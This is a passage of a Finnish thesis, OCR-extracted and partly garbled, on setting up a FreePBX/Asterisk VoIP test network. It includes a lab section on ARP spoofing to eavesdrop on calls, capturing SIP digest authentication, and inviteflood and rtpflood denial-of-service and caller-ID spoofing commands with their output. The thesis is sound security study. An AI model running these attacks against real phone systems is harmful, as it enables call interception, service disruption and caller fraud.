soittajalle hyvaksyakseen puhelun. Samassa viestissa kulkeutuu vield SDP-protokollan
tietoa vastaajalle sopivista protokollista. Kuten kuviosta 43 voidaan todeta, on kuvi-

oon 41 verraten G.726 standardin koodekit pudotettu pois vaihtoehdoista.
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173 51.545653 192.102.32.145 67.201.66.170 TCP 66 http > 35991 [ACK] Seq=5985 Ack=784 Win=16128
174 53.072339 67.201.66.170 31.3.65.145 SIP/SDP 744 Status: 200 OK, with session description
175 53.075559  31.3.65.145 167.201.66.170 SIP | 465 Request: ACK sip:010123456@67.201.66.170:5060

[NCSPUITST TLlC (5 / . JJ0L]
v Message Header
» Via: SIP/2.0/UDP 31.3.65.145:5060;branch=z9hG4bK273410ee; rport=5060; received=31.3.65.145
> From: "Maggie Smith" <sip:010223456@31.3.65.145>;tag=as713bb2d4
» To: <sip:010123456@67.201.66.170:5060>;tag=750081402
Call-ID: 326501ca4b56a370282683290d1feb39@31.3.65.145:5060
CSeq: 102 INVITE
Server: YATE/2.2.0
Contact: <sip:010123456@67.201.66.170:5060>
Allow: ACK, INVITE, BYE, CANCEL, OPTIONS, INFO
Content-Type: application/sdp
Content-Length: 232
v Message Body
v Session Description Protocol
Session Description Protocol Version (v): ©
» Owner/Creator, Session Id (o0): yate 1452498817 1452498817 IN IP4 67.201.66.170
Session Name (s): SIP Call
> Connection Information (c): IN IP4 67.201.66.170
» Time Description, active time (t): 0 0
> Media Description, name and address (m): audio 32394 RTP/AVP 0 8 3 101
» Media Attribute : rtpmap:0 PCMU/8000
» Media Attribute : rtpmap:8 PCMA/8000

v

v

> Media Attribute : rtpmap:3 GSM/8600
> Media Attribute (a): rtpmap:101 telephone-event/8000

Kuvio 43. Testipuhelun OK-viestin SDP-osio

Taman jalkeen puhelu alkaa ja puhelimet lahettavat RTP-paketteja. Kuviossa 44 ava-
tusta RTP-paketista voidaan nahda, etta danen koodaukseen on valittu kaytettavaksi

G.711 koodekin U-law koodaus, eli PCMU.

| 19153.462438 31.3.65.145 167.201.66.170 RTP 214 PT=ITU-T G.711 PCMU, SSRC=0x23A2B3BC, 5eq=7439, Time=316493624
192 53.482578  31.3.65.145 67.201.66.170 214 PT=ITU-T G.711 PCMU, SSRC=0x23A2B9BC, Seq=7508, Time=316493784
193 53.562506  31.3.65.145 67.201.66.170 RTP 214 PT=ITU-T G.711 PCMU, SSRC=Bx23A2B9BC, Seq=7501, Time=316493944

> Frame 192: 214 bytes on wire (1712 bits), 214 bytes captured (1712 bits)
> Ethernet II, Src: 82:c0:73:01:04:01 (02:c0:73:01:04:01), Dst: Vmware ©l:la:ca (00:508:56:01:1a:ca)
> Internet Protocol Version 4, Src: 31.3.65.145 (31.3.65.145), Dst: 67.201.66.170 (67.201.66.170)
» User Datagram Protocol, Src Port: 13144 (13144), Dst Port: 32394 (32394)
v Real-Time Transport Protocol

» [Stream setup by SDP (frame 174)]

18.. .... = Version: RFC 1889 Version (2)

Padding: False
Extension: False
Contributing source identifiers count: @

0. ... = Marker: False

Sequence number: 7560

[Extended sequence number: 73036]

Timestamp: 316493784

Synchronization Source identifier: @x23a2b%9bc (597866940)

Payload: 716e6f6f79fcf8f4f7f8fa79757dfafb7efd7ffefo7e7d7e. ..

Kuvio 44. Testipuhelun RTP-paketti

RTP-pakettien seasta voidaan |0ytdaa myos RTCP-paketteja, joissa valittyy tietoa puhe-
lusta paatelaitteelta toiselle. Kuviosta 45 voidaan todeta, etta kyseessa on Sender
report paketti, jossa on muun muassa aikaleimoja ja lahetettyjen pakettien lukumaa-

ra.



G.711 PCMU, SSRC=8x23A2B9BC, Seq=7735,
106 Sender Report Source description
‘ 214 PT=ITU-T G.711 PCMU, SSRC=0x23A2B9BC, Seq=7736, Time=316531544

442 58.201063 31.3.65.145
443§SB.ZBISEB 131.3.65.145

> Frame 442: 106 bytes on wire (848 bits), 186 bytes captured (848 bits)
> Ethernet II, Src: ©2:c0:73:01:04:01 (82:c0:73:01:04:01), Dst: Vmware @1:la:ca (80:50:56:01:1a:ca)
> Internet Protocol Version 4, Src: 31.3.65.145 (31.3.65.145), Dst: 67.201.66.170 (67.201.66.170)
> User Datagram Protocol, Src Port: 13145 (13145), Dst Port: 32395 (32395)
¥ Real-time Transport Control Protocol (Sender Report)
» [Stream setup by SDP (frame 174)]
[ FR. = Version: RFC 1889 Version (2)
..B. .... = Padding: False
...0 8001 = Reception report count: 1
Packet type: Sender Report (208)
Length: 12 (52 bytes)
Sender SSRC: ©x23a2b9bc (597866940)
Timestamp, MSW: 36614808497 (Oxda3dc231)
Timestamp, LSW: 247059488 (©xPeb9d420)
[MSW and LSW as NTP timestamp: Jan 11, 2016 ©5:54:57.657523000 UTC]
RTP timestamp: 316531384
Sender's packet count: 256
Sender's octet count: 40080
» Source 1
> Real-time Transport Control Protocol (Source description)
[RTCP frame length check: 0K - 64 bytes]

Kuvio 45. Testipuhelun RTCP-paketti

Puhelun lopuksi puhelun lopettaja lahettdaa BYE-pyynnon jolla puhelu lopetetaan.
Kuviossa 46 on kaapattu kyseinen viesti, jossa on lahinna kayttdjien tietoa puhelun

lopetus ilmoituksen lisdksi.

175 53.075559  31.3.65.145 167.201.66.170 SIP | 465 Request: ACK sip:010123456@67.201.66.170:5060
815 65.354822 67.201.66.170 31.3.65.145 BYE 5ip:010223456@31.3.65.145:5060

816 65.358079 31.3.65.145 167.201.66.170 SIP 569 Status: 200 0K

> Frame 815: 522 bytes on wire (4176 bits), 522 bytes captured (4176 bits)

» Ethernet II, Src: Vmware 01:1a:ca (00:50:56:01:1a:ca), Dst: ©2:c0:73:01:04:01 (02:c0:73:01:04:01)
» Internet Protocol Version 4, Src: 67.201.66.170 (67.201.66.176), Dst: 31.3.65.145 (31.3.65.145)

» User Datagram Protocol, Src Port: sip (5060), Dst Port: sip (5060)

v Session Initiation Protocol

v Request-Line: BYE sip:010223456@31.3.65.145:5060 SIP/2.0
Method: BYE

v Request-URI: sip:010223456@31.3.65.145:5060
Request-URI User Part: 010223456
Request-URI Host Part: 31.3.65.145
Request-URI Host Port: 5060
[Resent Packet: False]
v Message Header
Call-ID: 326501ca4b56a370282683290d1feb39@31.3.65.145:5060
> From: <sip:010123456@67.201.66.170:5060>;tag=750081402
» To: <sip:010223456@31.3.65.145>; tag=as713bb2d4
» Reason: SIP;text="User hangup"
» P-RTP-Stat: PS=0,0S=0,PR=608,0R=97280,PL=0
» Via: SIP/2.0/UDP 67.201.66.170:5060; rport;branch=z9hG4bK1835607074
» CSeq: 10577 BYE
User-Agent: YATE/2.2.0
Max-Forwards: 70
Allow: ACK, INVITE, BYE, CANCEL, OPTIONS, INFO
Content-Length: ©

Kuvio 46. Testipuhelun BYE-viesti

Puhelun kdynnissa olo voidaan todeta joko FreePBX-graafisen kdyttoliittyman kautta,
mutta helpommin reaaliajassa se voidaan nahda asennetun Asternic-ohjelman kaut-

ta. Kuvio 47 on kuvankaappaus Asternicin antamasta tilannetiedosta.
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Queue Agent State Durat. CLID Last In Call
010100300 Sean Bean B notin use no info available
010100300 Ben Kinsgley B not in use no info available
010100300 Sean Connery B notin use no info available

Queue Agent State Durat. CLID Last In Call
010100200 lan McKellen B busy 0:17 010223456 no info available
010100200 Maggie Smith W busy 0:17 010123456 no info available
010100200 Michael Caine B not in use no info available

Queue Agent State Durat. CLID Last In Call
010100100 Hugh Laurie B notin use no info available
010100100 Tom Hardy B not in use no info available
010100100 Anthony Hopkins B notin use no info available

Kuvio 47. Testipuhelun toteaminen Asternicilla

Astenic ei kuitenkaan ole kuin paatoimipisteen palvelimella jossa jonotkin ovat.

FreePBX pitda kirjaa soitetuista ja vastatuista puheluista. Ne |6ytyvat reports-

valikosta kohdasta CDR Reports (Call Detail Record). Aukeavalta sivulta voidaan eri

valinnoin maaritellda mita puheluita suodatetaan naytettavaksi. Kuviosta 48 voidaan

nahda, ettd valintoja ovat mm. pdivamaara, soittajan numero ja kenelle soitetaan.

Kun valinnat on tehty, painetaan search ja naytélle ilmestyvat suodatetut puhelut

valikon alle.

CDR Reports

(—Call Detail Record

Order By Search conditions
Extra options-
® Catpate ©: From: 01 |March  2/[(2016 2| 00 : 00 To: 31 [Mach  :|[2016 3| 23 : 59 mapon
0 c 5 3 & coR search
0. Not: [ Begins with: @ Contains: () Ends With: ) Exactly ;
CallerlD Number Reporttype : [ sy fie

) it Fiame O Not: [ Begins With: @ Contains: ) Ends With: ) Exactl. [ - Cal Graph
T | Not: (] Begins with: @ Contains: ) Ends With: ' Exactly Hesirames:[100,
D pin® Not: | Begins with: @ Contains: ) Ends With: () Exactly:
Y e @ Not: (] Begins With: @ Contains: ) Ends With: ) Exactly:
) ki adiit Nasa Ot Not: | Begins with: @ Contains: ) Ends With: ") Exactly:
seriont @ Not: (] Begins With: @ Contains: ) Ends With: ) Exactly:
D) Nk s @ Not: | Begins with: @ Contains: ) Ends With: ) Exactly:
O puration ©: Between: And: Seconds
) Dispostion ©: All Dispositions % | Not: [/
| Newest First 7 Group By: | Day & Search

Call Detail Record - Search Returned 57 Calls

Call Date Recording System CalleriD Outbound CallerlD DID App  Destination  Disposition Duration Userfield Account 3 =3
2016-03-11 10:47:03 1457686023.315  “lan McKellen *<010123456> Dial 010523456 ANSWERED ~ 00:20
2016-03-11 10:45:48 1457685048313 “lan McKellen "<010123456>  <4410123456> Dial 356201234567 ANSWERED  00:14

Kuvio 48. Puheluiden tarkistaminen CDR reportilla
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4.2 Kayttajien toiminnot

FreePBX sisdltaa kayttajille User Control Panel (UCP) sivun josta kayttajat voivat kay-
da muokkaamassa omia asetuksiaan, kuten salasanaa, tai kuunnella saapuneita vas-
taajaan jatettyja viesteja. UCP:hen kayttajat padsevat kasiksi syottamalla selaimeen
voip palvelimensa IP-osoitteen ja valitsemalla kuvassa 49 nakyvan User Control Panel

vaihtoehdon.

= 31.3.65.145 +@| [B~ coogle Q &

V¥ FreePBX Support | ISymphonyVaPanel | UCP

_
)
R
FreePBX Administration User Control Panel Operator Panel Get Support
5]
3¢ FreePB @ SANGOMA
@y i let freedom ring™

Kuvio 49. UCP:hen kirjautumisen valinta
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Taman jalkeen avautuu kuvion 50 nakoinen kirjautumisvalikko. Kuten jo aiemmin
mainittiin salasana UCP:hen kirjautumiseen maaritellaan erikseen kayttadjaa tehtdes-

sa kuvion 11 kohdassa. Kdyttajanimena toimii kdyttdjan puhelinnumero.

| @ 31.3.65.145/ucp/ v @| [B~ coogle Q)

User Control Panel

& 010123456

? Forgot Password

Remember Me

Login

Kuvio 50. UCP:hen kirjautuminen

Sisaan kirjautumisen jalkeen aukeaa kuvion 51 mukainen valikko. Vastaajapalvelun
toiminta voidaan tarkistaa taalta perinteisen vastaajaan soiton lisaksi. Kohdasta Voi-

cemailin kayttdja voi nahda jatetyt viesti ja kuunnella tai poistaa niita.

& | €© ) @ 31.3.65.145/ucp/7display=dashboard&mod=voicemail&sub=010123456 +@| [B~ Google Q|

Home / Voicemail / 010123456

Contacts P o
Friends o Date D Duration Controls

Presence old (o)

01/15/16 02:26:06pm Unknown sec

Settings ~ Work (o] Mlad g2

Urgent
° n

Settings o
Greetings -3

Kuvio 51. Vastaajaviestien tarkastaminen UCP:sta
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4.3 Hairion aiheuttaminen ymparistéon

4.3.1 Alkuasetelma

Hyokkayksien testausta varten ymparistéon luotiin paikallinen verkko jossa ovat pal-
velimen lisdksi testikone, jolla voidaan soittaa ja vastata puheluihin, seka kali-linux.
Ympadristda on havainnollistettu kuviossa 52 ja siitd ndakyvat myos kaytetyt IP-

osoitteet.

Palvelin 4. Kiina
IP-osoite 192.168.100.30

Testikone2
IP-osoite: 192.168.100.20

Kuvio 52. Ymparistd hyokkayksien testaukseen

Hyokkadyksen perustana on asetelma, jossa on paasty samaan lahiverkkoon puheli-
men kanssa. Tama mahdollistaa sen, etta viesteja voidaan kaapata. Hairiota voidaan
tietenkin aiheuttaa myds ulkoverkkona toimivan RGCE:n kautta, kunhan tiedetdan

tarvittavat IP-osoitteet ja kdyttdjien numeroita.

4.3.2 ARP-spoofing ja puhelun kuunteleminen

Lahiverkossa liikkuvia puheluita salataan harvemmin mitenkaan. Taman takia niihin
padstaan kasiksi, kunhan vain liikenne saadaan kulkemaan myoés hyokkaajalle. Nain
padstaan kasiksi puhelimen ja palvelimen viliseen liikenteeseen. Tahan kaytetdan
ARP-spoofing tekniikkaa jossa molempien, palvelimen ja testikoneen, ARP-taulut vaa-

rennetaan siten, ettd kohteet ldhettavat liikenteensa kulkemaan hyokkaajan kautta.
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Aluksi asetetaan Kali-linux ohjaamaan liikennetta eteenpadin, jotta se voi toimia kuin

reititin kohteiden valissa. Kuvion 53 mukaisesta tiedostosta I6ytyva IP forwarding

arvo tulee maaritella luvuksi 1.

root@kali: ~ e ® O
File Edit View Search Terminal Help
GNU nano 2.2.6 File: /proc/sys/net/ipv4/ip forward
1
[ Read 1 line ]
e ~0| : B Rea = T e ~K ~C Po
~X B ere ml Ne Page U il pe

Kuvio 53. IP forwarding paalle laittaminen

Taman jalkeen voidaan ruveta lahettamaan ARP-spoofing viesteja jotka kummatkin

loytyvat kuviosta 54. Kuviosta voidaan nahda, etta kummallekin kohteelle vaitetaan,

etta toinen 16ytyy kali-linuxin kautta.

root@kali: ~

File Edit View Search Terminal Help

0: 50 5F Lol 38 0:50:56:1:19:f4 0806 1 arp reply
g c s 6:1:19:f4 0806 : arp reply
X 6:1:19:f4 0806 :arp reply
Crlnanlng up and re-arping targets...

:1:1f:38 0:50:56:1:19:f4 0806 : arp reply
:38 0:5 6:1:19:f4 0806 :arp reply
5 :1:19:f4 0806 :arp reply
:f4 0806 :arp reply
:f4 0806 : arp reply

.168.100.: 192 168.100. ZQD

:38 0:50:56:1:1a:c9 :arp reply
:38 0:5 6:1:1a: :arp reply
el iloklsle TR by la 3 : arp reply
: slizlian ) :arp reply

: arp reply 192.

:arp reply 192.

: arp reply 192.
:arp reply 192.

: arp reply 192.
arp reply 192.

.20 192.168.100. 30}

Kuvio 54. Kohteiden ARP-spooffaaminen
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Taman jalkeen liikenne alkaa kulkea kohteiden valilla Kali-linuxin kautta. Kulkevat

paketit voidaan nahda wireshark ohjelmalla. Tietoa kayttajistda saadaan esimerkiksi
rekisterdinti viesteista joita kayttajat [ahettavat palvelimelle tasaisin valiajoin. Kuvi-
ossa 55 on avattuna REGISTER-viesti, josta voidaan lukea kayttdjan nimi ja autenti-

kointi tietoja.

MNo. Time Source Destinatien Protocel Length Infe
11 3.757651000 192.168.100.20 152.168.100. 30 ST 628 Request: REGISTER s1p:192.168.100.3
12 3.7576630 192.168.100.20 1592.168.100.30 628 Request: REGISTER Eip:lgz.lss.lﬂﬂ.

]

» User Datagram Protocol, Src Pert: 5060 (5080), Dst Port: 5080 (5060)
~ Session Initiation Protocol (REGISTER)

* Request-Line: REGISTER sip:192.168.100.30 SIP/2.0 -
Metho REGISTER

» Request-URI: sip:192.188.100.30
[Resent Packet: True]
Suspected resend of frame: 11
* Message Header

|> Contact: <si1p:040223456@192.168.100.20:5080=> |
Expires: 0O
|D To: <s1p:040223456@192.168. 100. 30= I
Call-ID: 1601787507@192.168.100.30
Via: SIP/2.0/UDP 192.168.100.20:5060; rport;branch=z5hG4bK719154433
From: <sip:040223456@192. 168.100.30=; tag=184492271
User-Agent: YATE/2.2.0
Max-Forwards: 70
Allow: ACK, INVITE, BYE, CANCEL, OPTIONS, INFO
CSeg: 32361 REGISTER
» Authorization: Digest username="040223456", realm="asterisk", nonce="50e3002b", uri="sip:192.168.100.30",| respo
Content-Length: O

-

-

-

Kuvio 55. Kaapattu REGISTER-viesti

Kaytannossa kaikki tieto on nakyvilla paitsi salasanat, jotka on salattu. Kayttdjatietoja
voidaan kalastella myds esimerkiksi puhelun aloittavista INVITE-viesteistd kuten ku-

viosta 56 ilmenee.

No Time Source Destination Protocol 'Length 'Info

21 10.15287100 192.168.100.30 192.168.100.20 ! 520 Status: 100 Trying

Frame 20: 920 bytes on wire (7360 bits), 920 bytes captured (7360 bits) on interface 0
Ethernet II, Src: Vmware_01:1f:38 (00:50:56:01:1f:38), Dst: Vmware_01:19:f4 (00:50:56:01:19:74)
Internet Protocol Version 4, Src: 192.168.100.20 (192.168.100.20), Dst: 152.168.100.30 (192.168.100.30)
User Datagram Protocol, Src Port: 5060 (5080}, Dst Port: 5060 (5060)
Session Initiation Protecel (INVITE)
+ Request-Line: INVITE sip:44101337@192.168.100.30 SIP/2.0
Method: INVITE
» Request-URI: sip:44101337@192.168.100.30
[Resent Packet: Truel
Suspected resend of frame: 19]
* Message Header
Max-Forwards: 20
Via: SIP/2.0/UDP 192.168.100.20:5060; rport;branch=z5hG4bk 118043450
From: <=s1p:040223456@192.168. 100, 30>; tag=651464399
To: <Sip:44101337@192.IGB.IOO.EOb
Call-ID: 643855209@192.168.100.30
User-Agent: YATE/2.2.0
Contact: =s1p:040223456@152.168.100.20:5060>
Allow: ACK, INVITE, BYE, CANCEL, OPTIONS, INFO
CSeq: 32371 INVITE

- v v v

]

-

-

-

Kuvio 56. Kaapattu INVITE-viesti
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Kun kayttaja aloittaa varsinaisen puhelun alkaa RTP liikenne ndakya myds wiresharkil-
la, kuvio 57. Kuten jo aiemmin tuli mainittua RTP liikennetta ei yleensa ole salattu,

joten sita pystytdan myos kuuntelemaan wiresharkin avulla.

No. Time Source Destination Protocol 'Length 'Info
36 10.71961800 192.168.100.30 192.168.100.20 RTP 214 PT=ITU-T G.711 PCMU, SSRC=0x5275S8E.

» Frame 37: 214 bytes on wire (1712 bits), 214 bytes captured (1712 bits) on interface 0
» Ethernet II, Src: Vmware_01:19:f4 (00:50:56:01:19:f4), Dst: Vmware_01:1f:38 (00:50:56:01:1f:38)
» Internet Protocol Version 4, Src: 192.168.100.30 (192.168.100.30), Dst: 192.168.100.20 (192.168.100.20)
» User Datagram Protocol, Src Port: 12312 (12312), Dst Port: 32488 (32488)
v Real-Time Transport Protocol
» [Stream setup by SDP (frame 19)]

10.. .... = Version: RFC 1889 Version (2)

..0. . = Padding: False

..0 .... = Extension: False

.... 0000 = Contributing source identifiers count: O
0. = Marker: False

Payload type: ITU-T G.711 PCMU (0)

Sequence number: 24002

[Extended sequence number: 89538]

Timestamp: 480

Synchronization Source identifier: 0x52758e25 (1383435813)
Payload: fffffffffffffffffffffffffffffffffffffffffffffffef...

Kuvio 57. Kaapattu RTP-paketti

Wireshark ohjelman ylapalkista Telephony kohdalta 16ytyy VolP Calls valinta, tasta
aukeaa kuvion 58 mukainen nakyma. Wireshark osaa tunnistaa liikenteen seasta VolP

puhelut ja niitd voidaan kuunnella suoraan sen avulla.

*ethO [Wireshark 1.12.6 (Git Rev Unknown from unknown)] o DT
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
©@@Adm . BNxo a«».035 BE aaaf @H¥Hs
Filter: v }Expression... Clear Apply Save
1 ethO - VolP Calls © e 0
Detected 1 VoIP Call. Selected 1 Call.
Start Time ¥ Stop Time Initial Speaker From To Protocol  Packets State Comments

6.358282 9.479449 192.168.100.20 <sip:040223456@: <sip:44101337@1¢ SIP 18 COMPLETE

- —ER

Total: Calls: 1 Start packets: 0 Completed calls: 2 Rejected calls: 2

I Prepare Filter \ 1 Flow ‘ \ Player ' Select All ‘

Kuvio 58. Wireshark VolP Calls
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Valitaan listalta haluttu puhelu ja painetaan player-painikkeesta ja taman jalkeen

decode-painikkeesta, jolloin avautuu kuvion 59 ndakyma josta puhelun kuuntelu ta-

pahtuu.
*othO [Wireshark 1.12.6 (Git Rev Unknown from unknown)] w B
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
i | = b 1 I
@@4dm . Bixno a+«»0% HE caaaf ¥EH:= @
ethO - VolP Calls AR
Detected 1 VolP Call. Selected 1 Call.
| i i i i i 5
Start Time ¥ Stop Time Initial Speaker From To Protocol Packets State Comments 5
6.358282 9.479449 192.168.100.20 <sip:040223456@. <sip:44101337@1¢ SIP 18 COMPLETE Gﬂ

ethO = RTP Player

["] From 192.168.100.30:13314 to0 192.168.100.20:23292 Duration:2.60 Drop by lJitter Buff:0{0.0%) Out of Seq: 130(50.0%) Wrong Timestamp: 13

[] View as time of day

Jitter buffer [ms] © litter buffer () Use RTP timestamp () Uninterrupted mode l Decode

| Play H Pause |‘_

Kuvio 59. Wireshark VolP Call Player

4.3.3 Inviteflooding

Seuraavaksi siirrytaan tekemaan varsinaista hairiota jarjestelmalle lahettamalla niille
vaarennettyja paketteja. Seuraavat hairinnat voidaan toteuttaa muualtakin kuin 1ahi-
verkosta. Oletuksena FreePBX ei anna minkaanlaisten puheluiden tulla jarjestelmaan
ulkopuolelta, vaan pelkastaan rekisteroityneilta kayttajilta. Seuraavat hairiontuotta-

mis tekniikat toimivat kuitenkin vain, jos puhelut ulkopuoleltakin sallitaan. Puhelui-

den salliminen tapahtuu FreePBX kayttoliittymalla ylapalkista Settings = Asterisk SIP
Settings. Tasta aukeaa kuvan 60 mukainen nakyma jossa kyseinen valinta on heti en-

simmaisena.
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¥ Y% Admin ~ | Applications ~ | Connectivity ~ | Reports v | Settings ~ | UCP Logout: pbxuk

SIP Settings

SIP Settings

Asterisk is currently using chan_sip for SIP Traffic.
‘You can change this on the Advanced Settings Page

Items may have moved! Please use the navigation on the right »

Security Settings

Allow Anonymous Inbound SIP Ca\lso | e i

Kuvio 60. Tuntemattomien puheluiden salliminen

Ensiksi toteutetaan inviteflood, joka tarkoittaa kdytanndssa sitd, etta jarjestelmaan
lahetetdadn suuri maara turhia INVITE-viesteja, joilla hidastetaan palvelimen toimin-
taa. Tama voi johtaa siihen, ettd oikeat INVITE-viestit jadvat kasittelematta. Kali-
linuxin inviteflood komento on nahtavilla kuviossa 61. EthO on portti, josta viesteja
lahetetdan, 040223456 on kayttaja jolle viestit [ahetdan, 192.168.100.30 on ensiksi
merkittyna kohde domainiksi ja sen jalkeen kohde IP-osoiteeksi, ja viimeisena on 10
joka on lahetettavien viestien maara.

root@kali: ~ e ® O

File Edit View Search Terminal Help
:~# inviteflood eth® 040223456 192.168.100.30 192.168.100.30 100

inviteflood - Version 2.0
June 09, 2006

source IPv4 addr:port 192.168.100.10:9

dest IPv4 addr:port 192.168.100.30:5060
targeted UA 040223456@192.168.100.30

Flooding destination with 100 packets
sent: 100

= |

Kuvio 61. Inviteflood lahettdminen

Kuviosta 62 ja 63 voidaan nahda wireshark kaappaus kayttdjan koneelta ja suuri maa-

ra INVITE-viesteistd, sekd puheluista jotka alkavat soida kayttajalla.
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No. Time Source Destination Protocol Length Info

342 7.299854 192.168.100.20 192.168.100.30 SIP 382 Status: 160 Trying

» Frame 342: 382 bytes on wire (3056 bits), 382 bytes captured (3056 bits)
i' Ethernet II, Src: Vmware ©1:1a:c9 (00:50:56:01:1a:c9), Dst: Vmware 01:19:f4 (00:50:56:01:19:4)

» Internet Protocol Version 4, Src: 192.168.100.20 (192.168.100.20), Dst: 192.168.100.30 (192.168.100.30)
» User Datagram Protocol, Src Port: sip (5060), Dst Port: sip (5060)

» Session Initiation Protocol

Kuvio 62. Inviteflood kaappaus

Yate Client |

@ \’Protoo:ol Account
[-none- 2 ljetli

( | v|[acal

EEEE]
a0nn

| el @)
Party Time Status |+
@ Unknown £ 014 :incoming ]
© unknown £ 014 [incoming
@ unknown £ 014 lincoming
& Unknown o 014 iincoming
@ Unknown £ 014 incoming |||
(e ) D
Hung up: client/27 E

Kuvio 63. Inviteflood kadyttadjan nakymasta

Invitefloodilla voidaan myds muokata kadyttajalle ndkyvaa soittajaa, eli tehda niin sa-
nottu callerspoof. Ainut lisdys aiempaan invitefloodiin on kuviossa 64 nakyva —a
441023456 komennon osa joka lisatty sen loppuun. Tdéma muuttaa INVITE-viestin

[ahettdjaksi halutun numeron.



root@kali: ~ e ® 0

File Edit View Search Terminal Help
:~# inviteflood eth® 040223456 192.168.100.30 192.168.100.30 1 -a 4410123456

inviteflood - Version 2.0
June 09, 2006

source IPv4 addr:port 192.168.100.10:9
dest IPv4 addr:port 192.168.100.30:5060

targeted UA 040223456@192.168.100.30
Flood User Alias: 4410123456

Flooding destination with 1 packets
sent: 1
= |

Kuvio 64. Callerspoof lahetys

Tama nakyy myos kayttdjan padssa kuvion 65 mukaisesti. Soittajana nakyy nyt oikea

numero, eika vain unknown.

A S @ Yate Client

<> Protocol Accoynt |
Calls -none- 2 |ljetli &
@ag) !
v ||~ Acall ||g=s
Call Log 123 |
5 { 4|56
Accounts 7 8 9
U 0 :
Contacts
S5 BT (4P
)
D .
% Part Time Status
Settings y
i © 4410123456 £ 0:05 incoming
Hung up: client/240 ?

Kuvio 65. Callerspoof nakyma kayttajalle

4.3.4 Rtpflooding

Kayttajaa voidaan myos hairita lahettamalla RTP-paketteja. Tama vaatii kaiken jo
aiemmin tarvitun tiedon lisdksi sen, ettd tiedetdan mika portti kayttajalla on avoinna

RTP:lle. Aiemmin kuviossa 57 oli kaapattu RTP-paketti ja siitd voidaan nahda, etta



55

kohde portti (Dst port) oli 32488 ja 1ahto (Src port) 12312. Kuviosta 66 ndhd&an
rtpflood komennon rakenne jossa 192.168.100.30 on lahdeosoite ja 192.168.100.20
on kohdeosoite. 12312 ja 32488 ovat edellda mainitut 1aht6- ja kohdeportti. 100 on
l[ahetettavien viestien maara ja 123123, 2000 ja 18800532 ovat keksittyja lukuja jar-

jestysnumeroksi, aikaleimaksi seka lahettajantunnisteeksi.

root@kali: ~ e ® 0

File Edit View Search Terminal Help
:~# rtpflood
rtpflood sourcename destinationname srcport destport numpackets segno timestamp SSID
:~# rtpflood 192.168.100.30 192.168.100.20 12312 32488 100 123123 2000 18800532

Will flood port 32488 from port 12312 100 times
Using sequence_number 123123 timestamp 2000 SSID 18800532

We have IP_HDRINCL
Number of Packets sent:

Sent 123223 160 100
= |

Kuvio 66. Rtpflood lahetys

Kuviossa 67 olevasta rtpflood wireshark kaappauksesta voidaan nahda, etta lahetetyt

RTP-viestit ilmenevat UDP-viesteina kayttdjan paassa.

No. Time Source Destination Protocol Length Info
17 1.339594 v o 5 uoP 214 Source port: 12312 Destination port: 32488
18 1.359689 192.168.100.36 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
19 1.379874 192.168.100.30 192.168.1600.20 uppP 214 Source port: 12312 Destination port: 32488
20 1.400080 192.168.100.30 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
21 1.420232 192.168.100.30 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
22 1.440479 192.168.100.30 192.168.100.20 upP 214 Source port: 12312 Destination port: 32488
23 1.461126 192.168.100.30 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
24 1.480816 192.168.100.30 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
25 1.501022 192.168.100.30 192.168.100.20 uop 214 Source port: 12312 Destination port: 32488
26 1.521306 192.168.100.36 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
27 1.541556 192.168.100.30 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
28 1.564419 192.168.100.30 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
29 1.584112 192.168.100.30 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
30 1.602208 192.168.100.30 192.168.100.20 uppP 214 Source port: 12312 Destination port: 32488
31 1.622468 192.168.100.30 192.168.100.20 uop 214 Source port: 12312 Destination port: 32488

> Frame 16: 214 bytes on wire (1712 bits), 214 bytes captured (1712 bits)
> Ethernet II, Src: Vmware ©1:1f:38 (00:50:56:01:1f:38), Dst: Vmware 01:1a:c9 (00:50:56:01:1a:c9)
> Internet Protocol Version 4, Src: 192.168.100.30 (192.168.100.30), Dst: 192.168.100.20 (192.168.100.20)
v User Datagram Protocol, Src Port: 12312 (12312), Dst Port: 32488 (32488)
Source port: 12312 (12312)
Destination port: 32488 (32488)
Length: 1860
> Checksum: ©x0000 (none)
> Data (172 bytes)

Kuvio 67. Rtpflood kaappaus
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5 Pohdinta

Tyon tavoitteet saatiin taytettya siten, etta jarjestelma sisaltaa kaiken mita alun perin
pitikin ja matkan varrella otettiin lisaa ominaisuuksiakin joita tutkittiin, kuten voi-
cemail ja konferenssipuhelu. Jarjestelma toimii globaalisti JYVSECTEC:n RGCE-
ympadristdssa kuten suunniteltua ja sita voidaan muokata haluttaessa. Jarjestelma on
siind suhteessa hieman puutteellinen, etta kaikkien numeroiden, joihin halutaan soit-
taa toiselta palvelimelta, tulee alkaa numerolla 0. Esimerkiksi jos Suomen palvelimel-
la on hatdnumero 112 siihen voidaan soittaa vain suomesta, mutta soittamalla muu-

alta numeroon 358112, puhelu ei johda mihinkaan.

Tyota tehdessa huomasi, etta vaikka Asterisk ja FreePBX ovatkin avoimen lahdekoo-
din sovelluksia, ne sisalsivat paljon ominaisuuksia jotka |6ytyvat valikoista, mutta
ovat maksullisia lisdosia. Ne on laitettu mukaan asennuspakettiin, mutta vaativat
maksullisen aktivoinnin internetin valityksella. Taman takia paadyttiin asentamaan

Asternic call center palvelimelle, jotta jonojen tietoa saatiin esille katevasti.

Ty6 suuntautui alun suunnitelmaa enemman jarjestelman eri ominaisuuksien tutki-
miseen ja kayttéonottoon, kuin hairion aiheuttamiseen. Kokeillut hyékkaykset ovat
melko perusjuttuja, mutta toimivia sellaisia. Aiempaa kdaytannon kokemusta VolP-
jarjestelmista minulla ei ollut kaytannossa ollenkaan. Tyota tehdessa oppi paljon teo-

riaa seka kaytantoa erityisesti SIP-protokollan toiminnasta.

Tulevaisuudessa jarjestelmaa voidaan laajentaa lisddmalla sinne palvelimia ja puhe-
limia. My0s palvelimille voidaan lisdata uusia ominaisuuksia, joita mahdollisesti tulee

myo0s lisdaa kaytettavaksi uusien paivityksien myota.
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Liitteet

Liite 1. FreePBX Distro asennnus

